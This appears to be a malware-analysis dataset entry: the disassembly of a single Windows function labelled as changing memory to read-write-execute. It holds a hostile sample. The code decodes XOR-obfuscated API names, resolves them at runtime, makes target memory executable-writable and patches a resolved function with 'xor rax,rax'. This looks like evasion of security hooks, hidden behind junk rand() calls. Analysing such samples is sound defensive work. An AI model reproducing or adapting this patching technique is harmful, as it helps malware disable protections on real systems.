Function at 0x140001b60
Capabilities:
Allocate or change rwx memory

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x60
nop
push rcx
pop rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x16
je 0x140001b80
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 9
call sub.msvcrt.dll_malloc
or edi, edi
mov r14d, 0x31
mov ecx, 0x9a
cmove ecx, r14d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c090]
mov ebp, 0x9a
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0xb4
mov byte [rax + 4], dl
mov edx, ecx
xor dl, 0xfe
mov byte [rax + 5], dl
xor cl, 0xf6
mov byte [rax + 6], cl
mov byte [rax + 7], cl
mov byte [rax + 8], 0
push rax
nop
pop rcx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
push rax
nop
pop rdi
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0x10
call sub.msvcrt.dll_malloc
or ebx, ebx
cmove ebp, r14d
movd xmm0, ebp
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c0a0]
movq qword [rax], xmm0
mov ecx, ebp
xor cl, 0xc9
mov byte [rax + 8], cl
pxor xmm1, xmm1
movdqa xmm2, xmm0
punpcklbw xmm2, xmm1
pshufd xmm1, xmm2, 0xe7
pshuflw xmm1, xmm1, 0xe8
packuswb xmm1, xmm1
movd dword [rax + 9], xmm1
xor bpl, 0xf5
mov byte [rax + 0xd], bpl
movdqa xmmword [rsp + 0x50], xmm0
movzx ecx, byte [rsp + 0x57]
mov byte [rax + 0xe], cl
mov byte [rax + 0xf], 0
push rdi
nop
pop rcx
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
push rax
pop rdi
nop
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x18
je 0x140001c80
mov byte [rsp + 0x2a], 0xc0
mov word [rsp + 0x28], 0x3148
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x5a
je 0x140001ca0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 4
je 0x140001cc0
mov dword [rsp + 0x2c], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc4
je 0x140001cf0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x6a
je 0x140001d10
lea rbx, [rsp + 0x2c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1000
push rsi
nop
pop rcx
push rdi
pop rdx
nop
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x51
je 0x140001d40
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xec
je 0x140001d50
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x28]
mov r9d, 3
nop
push rsi
pop rcx
push rdi
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, dword [rsp + 0x2c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1000
push rsi
pop rcx
nop
nop
push rdi
pop rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x85
je 0x140001db0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb9
je 0x140001dc0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf0
je 0x140001de0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x21
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0x9a
cmove ecx, edx
mov edx, ecx
xor dl, 0xc1
mov byte [rax], dl
mov edx, ecx
xor dl, 0xb1
mov byte [rax + 1], dl
mov edx, ecx
xor dl, 0xc7
mov byte [rax + 2], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c0b0]
pxor xmm1, xmm0
movd dword [rax + 4], xmm1
mov edx, ecx
xor dl, 0xf2
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xfe
mov byte [rax + 0xa], dl
movdqa xmmword [rsp + 0x40], xmm1
movzx edx, byte [rsp + 0x41]
mov byte [rax + 0xc], dl
pxor xmm0, xmmword [0x14000c0c0]
pxor xmm1, xmm1
movdqa xmmword [rsp + 0x30], xmm0
punpcklbw xmm0, xmm1
pshuflw xmm1, xmm0, 0x67
pshufhw xmm1, xmm1, 0xec
pshufd xmm1, xmm1, 0x6c
pshuflw xmm1, xmm1, 0x64
pshufhw xmm1, xmm1, 0x4b
packuswb xmm0, xmm1
movzx edx, byte [rsp + 0x33]
movzx r8d, byte [rsp + 0x36]
mov byte [rax + 3], dl
mov byte [rax + 9], r8b
mov byte [rax + 0xb], dl
movdqu xmmword [rax + 0xd], xmm0
mov edx, ecx
xor dl, 0xbb
mov byte [rax + 0x1d], dl
xor cl, 0xc6
mov byte [rax + 0x1e], cl
movzx ecx, byte [rsp + 0x37]
mov byte [rax + 0x1f], cl
mov byte [rax + 0x20], 0
nop
push rax
pop rcx
call fcn.140001b10
nop
add rsp, 0x60
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret